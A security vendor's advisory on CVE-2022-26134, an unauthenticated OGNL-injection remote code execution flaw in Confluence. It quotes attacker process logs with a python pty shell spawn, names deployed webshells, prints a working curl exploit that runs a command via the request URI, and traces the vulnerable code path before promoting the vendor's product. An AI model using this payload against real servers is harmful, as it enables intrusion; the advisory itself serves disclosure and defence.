Author: Menlo Security

Meta Description: Menlo Labs is tracking zero day CVE-2022-26134, which allows an unauthenticated user to execute arbitrary code on a Confluence Server.

Bulletin: 2022-09

Date: 06/06/2022

Name: Confluence Server Unauthenticated Remote Code Execution Vulnerability CVE-2022-26134

Classification: Confluence 0 day

Summary

Menlo Labs is tracking a new zero day that was first discovered by a Volexity analyst who discovered that it was used by multiple threat actors in attacks. This attack works by exploiting a OGNL injection vulnerability that allows an unauthenticated user to execute arbitrary code on a Confluence Server or Data Center instance, and Confluence versions as old as 1.0.3.

On June 2nd, 2022, a proof-of-concept exploit for the Atlassian Confluence vulnerability was publicly posted. The exploit soon spread far and wide online. Examples were seen all over Twitter, talking about how easy it was to exploit. And with an easy Shodan search providing a wide list of potential targets, it's easy to see why this spread so fast.

GreyNoise [Research](#) is tracking the critical-rated vulnerability CVE-2022-26134 and shows 887 unique IPs at the time of this analysis:

The Volexity analyst identified the use of bash shells being launched by the Confluence web application process. They noted that "this stood out because it had spawned a bash process which spawned a Python process that in turn spawned a bash shell", as seen below.

Name	Context	Tid	Pid	PPid	PTid	UID	GID	Created	Command Line
systemd		1	1	0	0	0	0	2022-02-26 12:52:05+00:00	/usr/lib/systemd/systemd --switched-root --s
{HealthCheckWatc}		30559	9784	1	1	0	0	2022-04-30 14:54:19+00:00	/opt/atlassian/confluence/jre/bin/java -Djava-
bash		124995	124995	9784	124994	0	0	2022-05-28 03:57:16+00:00	/bin/bash
python		124996	124996	124995	124995	0	0	2022-05-28 03:57:16+00:00	python -c import pty; pty.spawn("/bin/bash")
		125002	125002	124996	124996	0	0	2022-05-28 03:57:18+00:00	/bin/bash

The analyst went on to say, "After successfully exploiting the Confluence Server systems, the attacker immediately deployed an in-memory copy of the BEHINDER implant. This is an ever-popular web server implant with source code available on GitHub. BEHINDER provides very powerful capabilities to attackers, including memory-only webshells and built-in support for interaction with Meterpreter and Cobalt Strike. As

previously noted, this method of deployment has significant advantages by not writing files to disk. At the same time, it does not allow persistence, which means a reboot or service restart will wipe it out. Once BEHINDER was deployed, the attacker used the in-memory webshell to deploy two additional webshells to disk: CHINA CHOPPER and a custom file upload shell.”

Infection Vector

Public-facing Confluence servers that are vulnerable are at risk of allowing arbitrary code execution and that could lead to (but not limited to) a malicious file uploaded to the vulnerable server (notably “confluence” user on Linux installations).

The OGNL payload is placed in the URI of any type of HTTP method, whether valid (GET, POST, PUT, etc) or invalid.

```
curl -v http://iphore:8090/%24%7B%40java.lang.Runtime%40getRuntime%28%29.exec%28%22touch%20/tmp/r7%22%29%7D/
```

The exploit works as follows (*detailed analysis can be found by [Rapid7](#)*):

```
public class TextParseUtil { public static String translateVariables(String expression, OgnlValueStack stack) {
    StringBuilder sb = new StringBuilder();
    Pattern p = Pattern.compile("\\$\\{([^{]*)}");
    Matcher m = p.matcher(expression);
    int previous = 0;
    while (m.find()) {
        String str1, g = m.group(1);
        int start = m.start();
        try {
            Object o = stack.findValue(g); str1
            = (o == null) ? "" : o.toString();
        } catch (Exception ignored) {
            str1 = "";
        }
    }
}
```

```
        }
        sb.append(expression.substring(previous, start)).append(str1);
        previous = m.end();
    }
    if (previous < expression.length())
        sb.append(expression.substring(previous));
    return sb.toString();
}
}
```

- The starting point is the OgnlValueStack.findValue(str) for the OGNL expression to be evaluated.
 - TextParseUtil.class invokes OgnlValueStack.findValue when this vulnerability is exploited.

```
public void execute(ActionInvocation invocation) throws Exception {  
    if (this.namespace == null) this.namespace =  
        invocation.getProxy().getNamespace();  
    OgnlValueStack stack = ActionContext.getContext().getValueStack();  
    String finalNamespace = TextParseUtil.translateVariables(this.namespace, stack);  
    String finalActionName = TextParseUtil.translateVariables(this.actionName, stack);
```

- ActionChainResult.class calls TextParseUtil.translateVariables using this.namespace as the provided expression

```
public static String getNamespaceFromServletPath(String servletPath) {  
    servletPath = servletPath.substring(0, servletPath.lastIndexOf("/"));  
    return servletPath;  
}
```

- Where namespace is created from the request URI string in com.opensymphony.webwork.dispatcher.ServletDispatcher.getNamespaceFromServletPath
 - The end result is that the attacker-provided URI will be translated into a namespace, which will then end in OGNL expression evaluation.

Menlo Protection

Menlo Customers are protected against this type of attack in the "Menlo Private Access" product:

- A private application can be securely accessed without a VPN using MPA.
 - If Confluence is accessed using Menlo Private Access, it can be hidden from the Internet and unauthenticated access is not allowed, thereby preventing such attacks from happening.

Menlo Labs is monitoring CVE-2022-26134 and the attacks that are leveraging this vulnerability and will update customers if there is any new information.
